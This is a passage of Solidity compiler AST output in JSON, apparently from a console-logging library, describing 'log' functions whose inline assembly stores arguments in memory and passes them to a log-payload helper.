pure"}},"id":33814,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6558:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33815,"nodeType":"ExpressionStatement","src":"6558:27:22"},{"AST":{"nativeSrc":"6604:98:22","nodeType":"YulBlock","src":"6604:98:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"6625:4:22","nodeType":"YulLiteral","src":"6625:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"6631:2:22","nodeType":"YulIdentifier","src":"6631:2:22"}],"functionName":{"name":"mstore","nativeSrc":"6618:6:22","nodeType":"YulIdentifier","src":"6618:6:22"},"nativeSrc":"6618:16:22","nodeType":"YulFunctionCall","src":"6618:16:22"},"nativeSrc":"6618:16:22","nodeType":"YulExpressionStatement","src":"6618:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"6654:4:22","nodeType":"YulLiteral","src":"6654:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"6660:2:22","nodeType":"YulIdentifier","src":"6660:2:22"}],"functionName":{"name":"mstore","nativeSrc":"6647:6:22","nodeType":"YulIdentifier","src":"6647:6:22"},"nativeSrc":"6647:16:22","nodeType":"YulFunctionCall","src":"6647:16:22"},"nativeSrc":"6647:16:22","nodeType":"YulExpressionStatement","src":"6647:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"6683:4:22","nodeType":"YulLiteral","src":"6683:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"6689:2:22","nodeType":"YulIdentifier","src":"6689:2:22"}],"functionName":{"name":"mstore","nativeSrc":"6676:6:22","nodeType":"YulIdentifier","src":"6676:6:22"},"nativeSrc":"6676:16:22","nodeType":"YulFunctionCall","src":"6676:16:22"},"nativeSrc":"6676:16:22","nodeType":"YulExpressionStatement","src":"6676:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33802,"isOffset":false,"isSlot":false,"src":"6631:2:22","valueSize":1},{"declaration":33805,"isOffset":false,"isSlot":false,"src":"6660:2:22","valueSize":1},{"declaration":33808,"isOffset":false,"isSlot":false,"src":"6689:2:22","valueSize":1}],"id":33816,"nodeType":"InlineAssembly","src":"6595:107:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6187:3:22","parameters":{"id":33799,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33796,"mutability":"mutable","name":"p0","nameLocation":"6199:2:22","nodeType":"VariableDeclaration","scope":33818,"src":"6191:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33795,"name":"address","nodeType":"ElementaryTypeName","src":"6191:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33798,"mutability":"mutable","name":"p1","nameLocation":"6208:2:22","nodeType":"VariableDeclaration","scope":33818,"src":"6203:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33797,"name":"bool","nodeType":"ElementaryTypeName","src":"6203:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"6190:21:22"},"returnParameters":{"id":33800,"nodeType":"ParameterList","parameters":[],"src":"6226:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":33842,"nodeType":"FunctionDefinition","src":"6714:536:22","nodes":[],"body":{"id":33841,"nodeType":"Block","src":"6765:485:22","nodes":[],"statements":[{"assignments":[33826],"declarations":[{"constant":false,"id":33826,"mutability":"mutable","name":"m0","nameLocation":"6783:2:22","nodeType":"VariableDeclaration","scope":33841,"src":"6775:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33825,"name":"bytes32","nodeType":"ElementaryTypeName","src":"6775:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33827,"nodeType":"VariableDeclarationStatement","src":"6775:10:22"},{"assignments":[33829],"declarations":[{"constant":false,"id":33829,"mutability":"mutable","name":"m1","nameLocation":"6803:2:22","nodeType":"VariableDeclaration","scope":33841,"src":"6795:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33828,"name":"bytes32","nodeType":"ElementaryTypeName","src":"6795:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33830,"nodeType":"VariableDeclarationStatement","src":"6795:10:22"},{"assignments":[33832],"declarations":[{"constant":false,"id":33832,"mutability":"mutable","name":"m2","nameLocation":"6823:2:22","nodeType":"VariableDeclaration","scope":33841,"src":"6815:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33831,"name":"bytes32","nodeType":"ElementaryTypeName","src":"6815:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33833,"nodeType":"VariableDeclarationStatement","src":"6815:10:22"},{"AST":{"nativeSrc":"6844:247:22","nodeType":"YulBlock","src":"6844:247:22","statements":[{"nativeSrc":"6858:17:22","nodeType":"YulAssignment","src":"6858:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"6870:4:22","nodeType":"YulLiteral","src":"6870:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"6864:5:22","nodeType":"YulIdentifier","src":"6864:5:22"},"nativeSrc":"6864:11:22","nodeType":"YulFunctionCall","src":"6864:11:22"},"variableNames":[{"name":"m0","nativeSrc":"6858:2:22","nodeType":"YulIdentifier","src":"6858:2:22"}]},{"nativeSrc":"6888:17:22","nodeType":"YulAssignment","src":"6888:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"6900:4:22","nodeType":"YulLiteral","src":"6900:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"6894:5:22","nodeType":"YulIdentifier","src":"6894:5:22"},"nativeSrc":"6894:11:22","nodeType":"YulFunctionCall","src":"6894:11:22"},"variableNames":[{"name":"m1","nativeSrc":"6888:2:22","nodeType":"YulIdentifier","src":"6888:2:22"}]},{"nativeSrc":"6918:17:22","nodeType":"YulAssignment","src":"6918:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"6930:4:22","nodeType":"YulLiteral","src":"6930:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"6924:5:22","nodeType":"YulIdentifier","src":"6924:5:22"},"nativeSrc":"6924:11:22","nodeType":"YulFunctionCall","src":"6924:11:22"},"variableNames":[{"name":"m2","nativeSrc":"6918:2:22","nodeType":"YulIdentifier","src":"6918:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"7006:4:22","nodeType":"YulLiteral","src":"7006:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"7012:10:22","nodeType":"YulLiteral","src":"7012:10:22","type":"","value":"0x8309e8a8"}],"functionName":{"name":"mstore","nativeSrc":"6999:6:22","nodeType":"YulIdentifier","src":"6999:6:22"},"nativeSrc":"6999:24:22","nodeType":"YulFunctionCall","src":"6999:24:22"},"nativeSrc":"6999:24:22","nodeType":"YulExpressionStatement","src":"6999:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"7043:4:22","nodeType":"YulLiteral","src":"7043:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"7049:2:22","nodeType":"YulIdentifier","src":"7049:2:22"}],"functionName":{"name":"mstore","nativeSrc":"7036:6:22","nodeType":"YulIdentifier","src":"7036:6:22"},"nativeSrc":"7036:16:22","nodeType":"YulFunctionCall","src":"7036:16:22"},"nativeSrc":"7036:16:22","nodeType":"YulExpressionStatement","src":"7036:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"7072:4:22","nodeType":"YulLiteral","src":"7072:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"7078:2:22","nodeType":"YulIdentifier","src":"7078:2:22"}],"functionName":{"name":"mstore","nativeSrc":"7065:6:22","nodeType":"YulIdentifier","src":"7065:6:22"},"nativeSrc":"7065:16:22","nodeType":"YulFunctionCall","src":"7065:16:22"},"nativeSrc":"7065:16:22","nodeType":"YulExpressionStatement","src":"7065:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33826,"isOffset":false,"isSlot":false,"src":"6858:2:22","valueSize":1},{"declaration":33829,"isOffset":false,"isSlot":false,"src":"6888:2:22","valueSize":1},{"declaration":33832,"isOffset":false,"isSlot":false,"src":"6918:2:22","valueSize":1},{"declaration":33820,"isOffset":false,"isSlot":false,"src":"7049:2:22","valueSize":1},{"declaration":33822,"isOffset":false,"isSlot":false,"src":"7078:2:22","valueSize":1}],"id":33834,"nodeType":"InlineAssembly","src":"6835:256:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":33836,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7116:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783434","id":33837,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7122:4:22","typeDescriptions":{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"},"value":"0x44"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"}],"id":33835,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"7100:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33838,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7100:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33839,"nodeType":"ExpressionStatement","src":"7100:27:22"},{"AST":{"nativeSrc":"7146:98:22","nodeType":"YulBlock","src":"7146:98:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"7167:4:22","nodeType":"YulLiteral","src":"7167:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"7173:2:22","nodeType":"YulIdentifier","src":"7173:2:22"}],"functionName":{"name":"mstore","nativeSrc":"7160:6:22","nodeType":"YulIdentifier","src":"7160:6:22"},"nativeSrc":"7160:16:22","nodeType":"YulFunctionCall","src":"7160:16:22"},"nativeSrc":"7160:16:22","nodeType":"YulExpressionStatement","src":"7160:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"7196:4:22","nodeType":"YulLiteral","src":"7196:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"7202:2:22","nodeType":"YulIdentifier","src":"7202:2:22"}],"functionName":{"name":"mstore","nativeSrc":"7189:6:22","nodeType":"YulIdentifier","src":"7189:6:22"},"nativeSrc":"7189:16:22","nodeType":"YulFunctionCall","src":"7189:16:22"},"nativeSrc":"7189:16:22","nodeType":"YulExpressionStatement","src":"7189:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"7225:4:22","nodeType":"YulLiteral","src":"7225:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"7231:2:22","nodeType":"YulIdentifier","src":"7231:2:22"}],"functionName":{"name":"mstore","nativeSrc":"7218:6:22","nodeType":"YulIdentifier","src":"7218:6:22"},"nativeSrc":"7218:16:22","nodeType":"YulFunctionCall","src":"7218:16:22"},"nativeSrc":"7218:16:22","nodeType":"YulExpressionStatement","src":"7218:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33826,"isOffset":false,"isSlot":false,"src":"7173:2:22","valueSize":1},{"declaration":33829,"isOffset":false,"isSlot":false,"src":"7202:2:22","valueSize":1},{"declaration":33832,"isOffset":false,"isSlot":false,"src":"7231:2:22","valueSize":1}],"id":33840,"nodeType":"InlineAssembly","src":"7137:107:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6723:3:22","parameters":{"id":33823,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33820,"mutability":"mutable","name":"p0","nameLocation":"6735:2:22","nodeType":"VariableDeclaration","scope":33842,"src":"6727:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33819,"name":"address","nodeType":"ElementaryTypeName","src":"6727:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33822,"mutability":"mutable","name":"p1","nameLocation":"6747:2:22","nodeType":"VariableDeclaration","scope":33842,"src":"6739:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33821,"name":"uint256","nodeType":"ElementaryTypeName","src":"6739:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6726:24:22"},"returnParameters":{"id":33824,"nodeType":"ParameterList","parameters":[],"src":"6765:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":33872,"nodeType":"FunctionDefinition","src":"7256:1084:22","nodes":[],"body":{"id":33871,"nodeType":"Block","src":"7307:1033:22","nodes":[],"statements":[{"assignments":[33850],"declarations":[{"constant":false,"id":33850,"mutability":"mutable","name":"m0","nameLocation":"7325:2:22","nodeType":"VariableDeclaration","scope":33871,"src":"7317:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33849,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7317:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33851,"nodeType":"VariableDeclarationStatement","src":"7317:10:22"},{"assignments":[33853],"declarations":[{"constant":false,"id":33853,"mutability":"mutable","name":"m1","nameLocation":"7345:2:22","nodeType":"VariableDeclaration","scope":33871,"src":"7337:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33852,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7337:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33854,"nodeType":"VariableDeclarationStatement","src":"7337:10:22"},{"assignments":[33856],"declarations":[{"constant":false,"id":33856,"mutability":"mutable","name":"m2","nameLocation":"7365:2:22","nodeType":"VariableDeclaration","scope":33871,"src":"7357:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33855,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7357:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33857,"nodeType":"VariableDeclarationStatement","src":"7357:10:22"},{"assignments":[33859],"declarations":[{"constant":false,"id":33859,"mutability":"mutable","name":"m3","nameLocation":"7385:2:22","nodeType":"VariableDeclaration","scope":33871,"src":"7377:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33858,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7377:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33860,"nodeType":"VariableDeclarationStatement","src":"7377:10:22"},{"assignments":[33862],"declarations":[{"constant":false,"id":33862,"mutability":"mutable","name":"m4","nameLocation":"7405:2:22","nodeType":"VariableDeclaration","scope":33871,"src":"7397:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33861,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7397:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33863,"nodeType":"VariableDeclarationStatement","src":"7397:10:22"},{"AST":{"nativeSrc":"7426:697:22","nodeType":"YulBlock","src":"7426:697:22","statements":[{"body":{"nativeSrc":"7469:313:22","nodeType":"YulBlock","src":"7469:313:22","statements":[{"nativeSrc":"7487:15:22","nodeType":"YulVariableDeclaration","src":"7487:15:22","value":{"kind":"number","nativeSrc":"7501:1:22","nodeType":"YulLiteral","src":"7501:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"7491:6:22","nodeType":"YulTypedName","src":"7491:6:22","type":""}]},{"body":{"nativeSrc":"7572:40:22","nodeType":"YulBlock","src":"7572:40:22","statements":[{"body":{"nativeSrc":"7601:9:22","nodeType":"YulBlock","src":"7601:9:22","statements":[{"nativeSrc":"7603:5:22","nodeType":"YulBreak","src":"7603:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"7589:6:22","nodeType":"YulIdentifier","src":"7589:6:22"},{"name":"w","nativeSrc":"7597:1:22","nodeType":"YulIdentifier","src":"7597:1:22"}],"functionName":{"name":"byte","nativeSrc":"7584:4:22","nodeType":"YulIdentifier","src":"7584:4:22"},"nativeSrc":"7584:15:22","nodeType":"YulFunctionCall","src":"7584:15:22"}],"functionName":{"name":"iszero","nativeSrc":"7577:6:22","nodeType":"YulIdentifier","src":"7577:6:22"},"nativeSrc":"7577:23:22","nodeType":"YulFunctionCall","src":"7577:23:22"},"nativeSrc":"7574:36:22","nodeType":"YulIf","src":"7574:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"7529:6:22","nodeType":"YulIdentifier","src":"7529:6:22"},{"kind":"number","nativeSrc":"7537:4:22","nodeType":"YulLiteral","src":"7537:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"7526:2:22","nodeType":"YulIdentifier","src":"7526:2:22"},"nativeSrc":"7526:16:22","nodeType":"YulFunctionCall","src":"7526:16:22"},"nativeSrc":"7519:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"7543:28:22","nodeType":"YulBlock","src":"7543:28:22","statements":[{"nativeSrc":"7545:24:22","nodeType":"YulAssignment","src":"7545:24:22","value":{"arguments":[{"name":"length","nativeSrc":"7559:6:22","nodeType":"YulIdentifier","src":"7559:6:22"},{"kind":"number","nativeSrc":"7567:1:22","nodeType":"YulLiteral","src":"7567:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"7555:3:22","nodeType":"YulIdentifier","src":"7555:3:22"},"nativeSrc":"7555:14:22","nodeType":"YulFunctionCall","src":"7555:14:22"},"variableNames":[{"name":"length","nativeSrc":"7545:6:22","nodeType":"YulIdentifier","src":"7545:6:22"}]}]},"pre":{"nativeSrc":"7523:2:22","nodeType":"YulBlock","src":"7523:2:22","statements":[]},"src":"7519:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"7636:3:22","nodeType":"YulIdentifier","src":"7636:3:22"},{"name":"length","nativeSrc":"7641:6:22","nodeType":"YulIdentifier","src":"7641:6:22"}],"functionName":{"name":"mstore","nativeSrc":"7629:6:22","nodeType":"YulIdentifier","src":"7629:6:22"},"nativeSrc":"7629:19:22","nodeType":"YulFunctionCall","src":"7629:19:22"},"nativeSrc":"7629:19:22","nodeType":"YulExpressionStatement","src":"7629:19:22"},{"nativeSrc":"7665:37:22","nodeType":"YulVariableDeclaration","src":"7665:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"7682:3:22","nodeType":"YulLiteral","src":"7682:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"7691:1:22","nodeType":"YulLiteral","src":"7691:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"7694:6:22","nodeType":"YulIdentifier","src":"7694:6:22"}],"functionName":{"name":"shl","nativeSrc":"7687:3:22","nodeType":"YulIdentifier","src":"7687:3:22"},"nativeSrc":"7687:14:22","nodeType":"YulFunctionCall","src":"7687:14:22"}],"functionName":{"name":"sub","nativeSrc":"7678:3:22","nodeType":"YulIdentifier","src":"7678:3:22"},"nativeSrc":"7678:24:22","nodeType":"YulFunctionCall","src":"7678:24:22"},"variables":[{"name":"shift","nativeSrc":"7669:5:22","nodeType":"YulTypedName","src":"7669:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"7730:3:22","nodeType":"YulIdentifier","src":"7730:3:22"},{"kind":"number","nativeSrc":"7735:4:22","nodeType":"YulLiteral","src":"7735:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"7726:3:22","nodeType":"YulIdentifier","src":"7726:3:22"},"nativeSrc":"7726:14:22","nodeType":"YulFunctionCall","src":"7726:14:22"},{"arguments":[{"name":"shift","nativeSrc":"7746:5:22","nodeType":"YulIdentifier","src":"7746:5:22"},{"arguments":[{"name":"shift","nativeSrc":"7757:5:22","nodeType":"YulIdentifier","src":"7757:5:22"},{"name":"w","nativeSrc":"7764:1:22","nodeType":"YulIdentifier","src":"7764:1:22"}],"functionName":{"name":"shr","nativeSrc":"7753:3:22","nodeType":"YulIdentifier","src":"7753:3:22"},"nativeSrc":"7753:13:22","nodeType":"YulFunctionCall","src":"7753:13:22"}],"functionName":{"name":"shl","nativeSrc":"7742:3:22","nodeType":"YulIdentifier","src":"7742:3:22"},"nativeSrc":"7742:25:22","nodeType":"YulFunctionCall","src":"7742:25:22"}],"functionName":{"name":"mstore","nativeSrc":"7719:6:22","nodeType":"YulIdentifier","src":"7719:6:22"},"nativeSrc":"7719:49:22","nodeType":"YulFunctionCall","src":"7719:49:22"},"nativeSrc":"7719:49:22","nodeType":"YulExpressionStatement","src":"7719:49:22"}]},"name":"writeString","nativeSrc":"7440:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"7461:3:22","nodeType":"YulTypedName","src":"7461:3:22","type":""},{"name":"w","nativeSrc":"7466:1:22","nodeType":"YulTypedName","src":"7466:1:22","type":""}],"src":"7440:342:22"},{"nativeSrc":"7795:17:22","nodeType":"YulAssignment","src":"7795:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"7807:4:22","nodeType":"YulLiteral","src":"7807:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"7801:5:22","nodeType":"YulIdentifier","src":"7801:5:22"},"nativeSrc":"7801:11:22","nodeType":"YulFunctionCall","src":"7801:11:22"},"variableNames":[{"name":"m0","nativeSrc":"7795:2:22","nodeType":"YulIdentifier","src":"7795:2:22"}]},{"nativeSrc":"7825:17:22","nodeType":"YulAssignment","src":"7825:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"7837:4:22","nodeType":"YulLiteral","src":"7837:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"7831:5:22","nodeType":"YulIdentifier","src":"7831:5:22"},"nativeSrc":"7831:11:22","nodeType":"YulFunctionCall","src":"7831:11:22"},"variableNames":[{"name":"m1","nativeSrc":"7825:2:22","nodeType":"YulIdentifier","src":"7825:2:22"}]},{"nativeSrc":"7855:17:22","nodeType":"YulAssignment","src":"7855:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"7867:4:22","nodeType":"YulLiteral","src":"7867:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"7861:5:22","nodeType":"YulIdentifier","src":"7861:5:22"},"nativeSrc":"7861:11:22","nodeType":"YulFunctionCall","src":"7861:11:22"},"variableNames":[{"name":"m2","nativeSrc":"7855:2:22","nodeType":"YulIdentifier","src":"7855:2:22"}]},{"nativeSrc":"7885:17:22","nodeType":"YulAssignment","src":"7885:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"7897:4:22","nodeType":"YulLiteral","src":"7897:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"7891:5:22","nodeType":"YulIdentifier","src":"7891:5:22"},"nativeSrc":"7891:11:22","nodeType":"YulFunctionCall","src":"7891:11:22"},"variableNames":[{"name":"m3","nativeSrc":"7885:2:22","nodeType":"YulIdentifier","src":"7885:2:22"}]},{"nativeSrc":"7915:17:22","nodeType":"YulAssignment","src":"7915:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"7927:4:22","nodeType":"YulLiteral","src":"7927:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"7921:5:22","nodeType":"YulIdentifier","src":"7921:5:22"},"nativeSrc":"7921:11:22","nodeType":"YulFunctionCall","src":"7921:11:22"},"variableNames":[{"name":"m4","nativeSrc":"7915:2:22","nodeType":"YulIdentifier","src":"7915:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"8002:4:22","nodeType":"YulLiteral","src":"8002:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"8008:10:22","nodeType":"YulLiteral","src":"8008:10:22","type":"","value":"0x759f86bb"}],"functionName":{"name":"mstore","nativeSrc":"7995:6:22","nodeType":"YulIdentifier","src":"7995:6:22"},"nativeSrc":"7995:24:22","nodeType":"YulFunctionCall","src":"7995:24:22"},"nativeSrc":"7995:24:22","nodeType":"YulExpressionStatement","src":"7995:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"8039:4:22","nodeType":"YulLiteral","src":"8039:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"8045:2:22","nodeType":"YulIdentifier","src":"8045:2:22"}],"functionName":{"name":"mstore","nativeSrc":"8032:6:22","nodeType":"YulIdentifier","src":"8032:6:22"},"nativeSrc":"8032:16:22","nodeType":"YulFunctionCall","src":"8032:16:22"},"nativeSrc":"8032:16:22","nodeType":"YulExpressionStatement","src":"8032:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"8068:4:22","nodeType":"YulLiteral","src":"8068:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"8074:4:22","nodeType":"YulLiteral","src":"8074:4:22","type":"","value":"0x40"}],"functionName":{"name":"mstore","nativeSrc":"8061:6:22","nodeType":"YulIdentifier","src":"8061:6:22"},"nativeSrc":"8061:18:22","nodeType":"YulFunctionCall","src":"8061:18:22"},"nativeSrc":"8061:18:22","nodeType":"YulExpressionStatement","src":"8061:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"8104:4:22","nodeType":"YulLiteral","src":"8104:4:22","type":"","value":"0x60"},{"name":"p1","nativeSrc":"8110:2:22","nodeType":"YulIdentifier","src":"8110:2:22"}],"functionName":{"name":"writeString","nativeSrc":"8092:11:22","nodeType":"YulIdentifier","src":"8092:11:22"},"nativeSrc":"8092:21:22","nodeType":"YulFunctionCall","src":"8092:21:22"},"nativeSrc":"8092:21:22","nodeType":"YulExpressionStatement","src":"8092:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33850,"isOffset":false,"isSlot":false,"src":"7795:2:22","valueSize":1},{"declaration":33853,"isOffset":false,"isSlot":false,"src":"7825:2:22","valueSize":1},{"declaration":33856,"isOffset":false,"isSlot":false,"src":"7855:2:22","valueSize":1},{"declaration":33859,"isOffset":false,"isSlot":false,"src":"7885:2:22","valueSize":1},{"declaration":33862,"isOffset":false,"isSlot":false,"src":"7915:2:22","valueSize":1},{"declaration":33844,"isOffset":false,"isSlot":false,"src":"8045:2:22","valueSize":1},{"declaration":33846,"isOffset":false,"isSlot":false,"src":"8110:2:22","valueSize":1}],"id":33864,"nodeType":"InlineAssembly","src":"7417:706:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":33866,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8148:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":33867,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8154:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":33865,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"8132:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33868,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8132:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33869,"nodeType":"ExpressionStatement","src":"8132:27:22"},{"AST":{"nativeSrc":"8178:156:22","nodeType":"YulBlock","src":"8178:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"8199:4:22","nodeType":"YulLiteral","src":"8199:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"8205:2:22","nodeType":"YulIdentifier","src":"8205:2:22"}],"functionName":{"name":"mstore","nativeSrc":"8192:6:22","nodeType":"YulIdentifier","src":"8192:6:22"},"nativeSrc":"8192:16:22","nodeType":"YulFunctionCall","src":"8192:16:22"},"nativeSrc":"8192:16:22","nodeType":"YulExpressionStatement","src":"8192:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"8228:4: